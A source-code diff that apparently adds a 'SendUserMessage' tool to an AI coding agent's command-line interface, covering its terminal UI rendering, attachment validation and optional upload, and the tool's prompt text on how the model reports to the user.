+    if (!attachments || attachments.length === 0) {
+      return { result: true }
+    }
+    return validateAttachmentPaths(attachments)
+  },
+  async description() {
+    return DESCRIPTION
+  },
+  async prompt() {
+    return BRIEF_TOOL_PROMPT
+  },
+  mapToolResultToToolResultBlockParam(output, toolUseID) {
+    const n = output.attachments?.length ?? 0
+    const suffix = n === 0 ? '' : ` (${n} ${plural(n, 'attachment')} included)`
+    return {
+      tool_use_id: toolUseID,
+      type: 'tool_result',
+      content: `Message delivered to user.${suffix}`,
+    }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call({ message, attachments, status }, context) {
+    const sentAt = new Date().toISOString()
+    logEvent('tengu_brief_send', {
+      proactive: status === 'proactive',
+      attachment_count: attachments?.length ?? 0,
+    })
+    if (!attachments || attachments.length === 0) {
+      return { data: { message, sentAt } }
+    }
+    const appState = context.getAppState()
+    const resolved = await resolveAttachments(attachments, {
+      replBridgeEnabled: appState.replBridgeEnabled,
+      signal: context.abortController.signal,
+    })
+    return {
+      data: { message, attachments: resolved, sentAt },
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/BriefTool/UI.tsx

@@ -0,0 +1,101 @@
+import { c as _c } from "react/compiler-runtime";
+import figures from 'figures';
+import React from 'react';
+import { Markdown } from '../../components/Markdown.js';
+import { BLACK_CIRCLE } from '../../constants/figures.js';
+import { Box, Text } from '../../ink.js';
+import type { ProgressMessage } from '../../types/message.js';
+import { getDisplayPath } from '../../utils/file.js';
+import { formatFileSize } from '../../utils/format.js';
+import { formatBriefTimestamp } from '../../utils/formatBriefTimestamp.js';
+import type { Output } from './BriefTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return '';
+}
+export function renderToolResultMessage(output: Output, _progressMessages: ProgressMessage[], options?: {
+  isTranscriptMode?: boolean;
+  isBriefOnly?: boolean;
+}): React.ReactNode {
+  const hasAttachments = (output.attachments?.length ?? 0) > 0;
+  if (!output.message && !hasAttachments) {
+    return null;
+  }
+
+  // In transcript mode (ctrl+o), model text is NOT filtered — keep the ⏺ so
+  // SendUserMessage is visually distinct from the surrounding text blocks.
+  if (options?.isTranscriptMode) {
+    return <Box flexDirection="row" marginTop={1}>
+        <Box minWidth={2}>
+          <Text color="text">{BLACK_CIRCLE}</Text>
+        </Box>
+        <Box flexDirection="column">
+          {output.message ? <Markdown>{output.message}</Markdown> : null}
+          <AttachmentList attachments={output.attachments} />
+        </Box>
+      </Box>;
+  }
+
+  // Brief-only (chat) view: "Claude" label + 2-col indent, matching the "You"
+  // label UserPromptMessage applies to user input (#20889). The "N in background"
+  // spinner status lives in BriefSpinner (Spinner.tsx) — stateless label here.
+  if (options?.isBriefOnly) {
+    const ts = output.sentAt ? formatBriefTimestamp(output.sentAt) : '';
+    return <Box flexDirection="column" marginTop={1} paddingLeft={2}>
+        <Box flexDirection="row">
+          <Text color="briefLabelClaude">Claude</Text>
+          {ts ? <Text dimColor> {ts}</Text> : null}
+        </Box>
+        <Box flexDirection="column">
+          {output.message ? <Markdown>{output.message}</Markdown> : null}
+          <AttachmentList attachments={output.attachments} />
+        </Box>
+      </Box>;
+  }
+
+  // Default view: dropTextInBriefTurns (Messages.tsx) hides the redundant
+  // assistant text that would otherwise precede this — SendUserMessage is the
+  // only text-like content in its turn. No gutter mark; read as plain text.
+  // userFacingName() returns '' so UserToolSuccessMessage drops its columns-5
+  // width constraint and AssistantToolUseMessage renders null (no tool chrome).
+  // Empty minWidth={2} box mirrors AssistantTextMessage's ⏺ gutter spacing.
+  return <Box flexDirection="row" marginTop={1}>
+      <Box minWidth={2} />
+      <Box flexDirection="column">
+        {output.message ? <Markdown>{output.message}</Markdown> : null}
+        <AttachmentList attachments={output.attachments} />
+      </Box>
+    </Box>;
+}
+type AttachmentListProps = {
+  attachments: Output['attachments'];
+};
+export function AttachmentList(t0) {
+  const $ = _c(4);
+  const {
+    attachments
+  } = t0;
+  if (!attachments || attachments.length === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== attachments) {
+    t1 = attachments.map(_temp);
+    $[0] = attachments;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1) {
+    t2 = <Box flexDirection="column" marginTop={1}>{t1}</Box>;
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(att) {
+  return <Box key={att.path} flexDirection="row"><Text dimColor={true}>{figures.pointerSmall} {att.isImage ? "[image]" : "[file]"}{" "}</Text><Text>{getDisplayPath(att.path)}</Text><Text dimColor={true}> ({formatFileSize(att.size)})</Text></Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJNYXJrZG93biIsIkJMQUNLX0NJUkNMRSIsIkJveCIsIlRleHQiLCJQcm9ncmVzc01lc3NhZ2UiLCJnZXREaXNwbGF5UGF0aCIsImZvcm1hdEZpbGVTaXplIiwiZm9ybWF0QnJpZWZUaW1lc3RhbXAiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsIlJlYWN0Tm9kZSIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwib3V0cHV0IiwiX3Byb2dyZXNzTWVzc2FnZXMiLCJvcHRpb25zIiwiaXNUcmFuc2NyaXB0TW9kZSIsImlzQnJpZWZPbmx5IiwiaGFzQXR0YWNobWVudHMiLCJhdHRhY2htZW50cyIsImxlbmd0aCIsIm1lc3NhZ2UiLCJ0cyIsInNlbnRBdCIsIkF0dGFjaG1lbnRMaXN0UHJvcHMiLCJBdHRhY2htZW50TGlzdCIsInQwIiwiJCIsIl9jIiwidDEiLCJtYXAiLCJfdGVtcCIsInQyIiwiYXR0IiwicGF0aCIsInBvaW50ZXJTbWFsbCIsImlzSW1hZ2UiLCJzaXplIl0sInNvdXJjZXMiOlsiVUkudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBmaWd1cmVzIGZyb20gJ2ZpZ3VyZXMnXG5pbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNYXJrZG93biB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWFya2Rvd24uanMnXG5pbXBvcnQgeyBCTEFDS19DSVJDTEUgfSBmcm9tICcuLi8uLi9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgUHJvZ3Jlc3NNZXNzYWdlIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcbmltcG9ydCB7IGdldERpc3BsYXlQYXRoIH0gZnJvbSAnLi4vLi4vdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdEZpbGVTaXplIH0gZnJvbSAnLi4vLi4vdXRpbHMvZm9ybWF0LmpzJ1xuaW1wb3J0IHsgZm9ybWF0QnJpZWZUaW1lc3RhbXAgfSBmcm9tICcuLi8uLi91dGlscy9mb3JtYXRCcmllZlRpbWVzdGFtcC5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9CcmllZlRvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gJydcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXM6IFByb2dyZXNzTWVzc2FnZVtdLFxuICBvcHRpb25zPzoge1xuICAgIGlzVHJhbnNjcmlwdE1vZGU/OiBib29sZWFuXG4gICAgaXNCcmllZk9ubHk/OiBib29sZWFuXG4gIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNBdHRhY2htZW50cyA9IChvdXRwdXQuYXR0YWNobWVudHM/Lmxlbmd0aCA/PyAwKSA+IDBcbiAgaWYgKCFvdXRwdXQubWVzc2FnZSAmJiAhaGFzQXR0YWNobWVudHMpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gSW4gdHJhbnNjcmlwdCBtb2RlIChjdHJsK28pLCBtb2RlbCB0ZXh0IGlzIE5PVCBmaWx0ZXJlZCDigJQga2VlcCB0aGUg4o+6IHNvXG4gIC8vIFNlbmRVc2VyTWVzc2FnZSBpcyB2aXN1YWxseSBkaXN0aW5jdCBmcm9tIHRoZSBzdXJyb3VuZGluZyB0ZXh0IGJsb2Nrcy5cbiAgaWYgKG9wdGlvbnM/LmlzVHJhbnNjcmlwdE1vZGUpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgPEJveCBtaW5XaWR0aD17Mn0+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJ0ZXh0XCI+e0JMQUNLX0NJUkNMRX08L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBCcmllZi1vbmx5IChjaGF0KSB2aWV3OiBcIkNsYXVkZVwiIGxhYmVsICsgMi1jb2wgaW5kZW50LCBtYXRjaGluZyB0aGUgXCJZb3VcIlxuICAvLyBsYWJlbCBVc2VyUHJvbXB0TWVzc2FnZSBhcHBsaWVzIHRvIHVzZXIgaW5wdXQgKCMyMDg4OSkuIFRoZSBcIk4gaW4gYmFja2dyb3VuZFwiXG4gIC8vIHNwaW5uZXIgc3RhdHVzIGxpdmVzIGluIEJyaWVmU3Bpbm5lciAoU3Bpbm5lci50c3gpIOKAlCBzdGF0ZWxlc3MgbGFiZWwgaGVyZS5cbiAgaWYgKG9wdGlvbnM/LmlzQnJpZWZPbmx5KSB7XG4gICAgY29uc3QgdHMgPSBvdXRwdXQuc2VudEF0ID8gZm9ybWF0QnJpZWZUaW1lc3RhbXAob3V0cHV0LnNlbnRBdCkgOiAnJ1xuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Ub3A9ezF9IHBhZGRpbmdMZWZ0PXsyfT5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJicmllZkxhYmVsQ2xhdWRlXCI+Q2xhdWRlPC9UZXh0PlxuICAgICAgICAgIHt0cyA/IDxUZXh0IGRpbUNvbG9yPiB7dHN9PC9UZXh0PiA6IG51bGx9XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgICA8QXR0YWNobWVudExpc3QgYXR0YWNobWVudHM9e291dHB1dC5hdHRhY2htZW50c30gLz5cbiAgICAgICAgPC9Cb3g+XG4gICAgICA8L0JveD5cbiAgICApXG4gIH1cblxuICAvLyBEZWZhdWx0IHZpZXc6IGRyb3BUZXh0SW5CcmllZlR1cm5zIChNZXNzYWdlcy50c3gpIGhpZGVzIHRoZSByZWR1bmRhbnRcbiAgLy8gYXNzaXN0YW50IHRleHQgdGhhdCB3b3VsZCBvdGhlcndpc2UgcHJlY2VkZSB0aGlzIOKAlCBTZW5kVXNlck1lc3NhZ2UgaXMgdGhlXG4gIC8vIG9ubHkgdGV4dC1saWtlIGNvbnRlbnQgaW4gaXRzIHR1cm4uIE5vIGd1dHRlciBtYXJrOyByZWFkIGFzIHBsYWluIHRleHQuXG4gIC8vIHVzZXJGYWNpbmdOYW1lKCkgcmV0dXJucyAnJyBzbyBVc2VyVG9vbFN1Y2Nlc3NNZXNzYWdlIGRyb3BzIGl0cyBjb2x1bW5zLTVcbiAgLy8gd2lkdGggY29uc3RyYWludCBhbmQgQXNzaXN0YW50VG9vbFVzZU1lc3NhZ2UgcmVuZGVycyBudWxsIChubyB0b29sIGNocm9tZSkuXG4gIC8vIEVtcHR5IG1pbldpZHRoPXsyfSBib3ggbWlycm9ycyBBc3Npc3RhbnRUZXh0TWVzc2FnZSdzIOKPuiBndXR0ZXIgc3BhY2luZy5cbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIiBtYXJnaW5Ub3A9ezF9PlxuICAgICAgPEJveCBtaW5XaWR0aD17Mn0gLz5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICB7b3V0cHV0Lm1lc3NhZ2UgPyA8TWFya2Rvd24+e291dHB1dC5tZXNzYWdlfTwvTWFya2Rvd24+IDogbnVsbH1cbiAgICAgICAgPEF0dGFjaG1lbnRMaXN0IGF0dGFjaG1lbnRzPXtvdXRwdXQuYXR0YWNobWVudHN9IC8+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG50eXBlIEF0dGFjaG1lbnRMaXN0UHJvcHMgPSB7XG4gIGF0dGFjaG1lbnRzOiBPdXRwdXRbJ2F0dGFjaG1lbnRzJ11cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEF0dGFjaG1lbnRMaXN0KHtcbiAgYXR0YWNobWVudHMsXG59OiBBdHRhY2htZW50TGlzdFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKCFhdHRhY2htZW50cyB8fCBhdHRhY2htZW50cy5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIHthdHRhY2htZW50cy5tYXAoYXR0ID0+IChcbiAgICAgICAgPEJveCBrZXk9e2F0dC5wYXRofSBmbGV4RGlyZWN0aW9uPVwicm93XCI+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7ZmlndXJlcy5wb2ludGVyU21hbGx9IHthdHQuaXNJbWFnZSA/ICdbaW1hZ2VdJyA6ICdbZmlsZV0nfXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDxUZXh0PntnZXREaXNwbGF5UGF0aChhdHQucGF0aCl9PC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiAoe2Zvcm1hdEZpbGVTaXplKGF0dC5zaXplKX0pPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICkpfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPQyxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxRQUFRLFFBQVEsOEJBQThCO0FBQ3ZELFNBQVNDLFlBQVksUUFBUSw0QkFBNEI7QUFDekQsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELFNB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

src/tools/BriefTool/attachments.ts

@@ -0,0 +1,110 @@
+/**
+ * Shared attachment validation + resolution for SendUserMessage and
+ * SendUserFile. Lives in BriefTool/ so the dynamic `./upload.js` import
+ * inside the feature('BRIDGE_MODE') guard stays relative and upload.ts
+ * (axios, crypto, auth utils) remains tree-shakeable from non-bridge builds.
+ */
+
+import { feature } from 'bun:bundle'
+import { stat } from 'fs/promises'
+
+import type { ValidationResult } from '../../Tool.js'
+
+import { getCwd } from '../../utils/cwd.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { getErrnoCode } from '../../utils/errors.js'
+import { IMAGE_EXTENSION_REGEX } from '../../utils/imagePaste.js'
+import { expandPath } from '../../utils/path.js'
+
+export type ResolvedAttachment = {
+  path: string
+  size: number
+  isImage: boolean
+  file_uuid?: string
+}
+
+export async function validateAttachmentPaths(
+  rawPaths: string[],
+): Promise<ValidationResult> {
+  const cwd = getCwd()
+  for (const rawPath of rawPaths) {
+    const fullPath = expandPath(rawPath)
+    try {
+      const stats = await stat(fullPath)
+      if (!stats.isFile()) {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" is not a regular file.`,
+          errorCode: 1,
+        }
+      }
+    } catch (e) {
+      const code = getErrnoCode(e)
+      if (code === 'ENOENT') {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" does not exist. Current working directory: ${cwd}.`,
+          errorCode: 1,
+        }
+      }
+      if (code === 'EACCES' || code === 'EPERM') {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" is not accessible (permission denied).`,
+          errorCode: 1,
+        }
+      }
+      throw e
+    }
+  }
+  return { result: true }
+}
+
+export async function resolveAttachments(
+  rawPaths: string[],
+  uploadCtx: { replBridgeEnabled: boolean; signal?: AbortSignal },
+): Promise<ResolvedAttachment[]> {
+  // Stat serially (local, fast) to keep ordering deterministic, then upload
+  // in parallel (network, slow). Upload failures resolve undefined — the
+  // attachment still carries {path, size, isImage} for local renderers.
+  const stated: ResolvedAttachment[] = []
+  for (const rawPath of rawPaths) {
+    const fullPath = expandPath(rawPath)
+    // Single stat — we need size, so this is the operation, not a guard.
+    // validateInput ran before us, but the file could have moved since
+    // (TOCTOU); if it did, let the error propagate so the model sees it.
+    const stats = await stat(fullPath)
+    stated.push({
+      path: fullPath,
+      size: stats.size,
+      isImage: IMAGE_EXTENSION_REGEX.test(fullPath),
+    })
+  }
+  // Dynamic import inside the feature() guard so upload.ts (axios, crypto,
+  // zod, auth utils, MIME map) is fully eliminated from non-BRIDGE_MODE
+  // builds. A static import would force module-scope evaluation regardless
+  // of the guard inside uploadBriefAttachment — CLAUDE.md: "helpers defined
+  // outside remain in the build even if never called".
+  if (feature('BRIDGE_MODE')) {
+    // Headless/SDK callers never set appState.replBridgeEnabled (only the TTY
+    // REPL does, at main.tsx init). CLAUDE_CODE_BRIEF_UPLOAD lets a host that
+    // runs the CLI as a subprocess opt in — e.g. the cowork desktop bridge,
+    // which already passes CLAUDE_CODE_OAUTH_TOKEN for auth.
+    const shouldUpload =
+      uploadCtx.replBridgeEnabled ||
+      isEnvTruthy(process.env.CLAUDE_CODE_BRIEF_UPLOAD)
+    const { uploadBriefAttachment } = await import('./upload.js')
+    const uuids = await Promise.all(
+      stated.map(a =>
+        uploadBriefAttachment(a.path, a.size, {
+          replBridgeEnabled: shouldUpload,
+          signal: uploadCtx.signal,
+        }),
+      ),
+    )
+    return stated.map((a, i) =>
+      uuids[i] === undefined ? a : { ...a, file_uuid: uuids[i] },
+    )
+  }
+  return stated
+}

src/tools/BriefTool/prompt.ts

@@ -0,0 +1,22 @@
+export const BRIEF_TOOL_NAME = 'SendUserMessage'
+export const LEGACY_BRIEF_TOOL_NAME = 'Brief'
+
+export const DESCRIPTION = 'Send a message to the user'
+
+export const BRIEF_TOOL_PROMPT = `Send a message the user will read. Text outside this tool is visible in the detail view, but most won't open it — the answer lives here.
+
+\`message\` supports markdown. \`attachments\` takes file paths (absolute or cwd-relative) for images, diffs, logs.
+
+\`status\` labels intent: 'normal' when replying to what they just asked; 'proactive' when you're initiating — a scheduled task finished, a blocker surfaced during background work, you need input on something they haven't asked about. Set it honestly; downstream routing uses it.`
+
+export const BRIEF_PROACTIVE_SECTION = `## Talking to the user
+
+${BRIEF_TOOL_NAME} is where your replies go. Text outside it is visible if the user expands the detail view, but most won't — assume unread. Anything you want them to actually see goes through ${BRIEF_TOOL_NAME}. The failure mode: the real answer lives in plain text while ${BRIEF_TOOL_NAME} just says "done!" — they see "done!" and miss everything.
+
+So: every time the user says something, the reply they actually read comes through ${BRIEF_TOOL_NAME}. Even for "hi". Even for "thanks".
+
+If you can answer right away, send the answer. If you need to go look — run a command, read files, check something — ack first in one line ("On it — checking the test output"), then work, then send the result. Without the ack they're staring at a spinner.
+
+For longer work: ack → work → result. Between those, send a checkpoint when something useful happened — a decision you made, a surprise you hit, a phase boundary. Skip the filler ("running tests...") — a checkpoint earns its place by carrying information.
+
+Keep messages tight — the decision, the file:line, the PR number. Second person always ("your config"), never third.`

src/tools/BriefTool/upload.ts

@@ -0,0 +1,174 @@
+/**
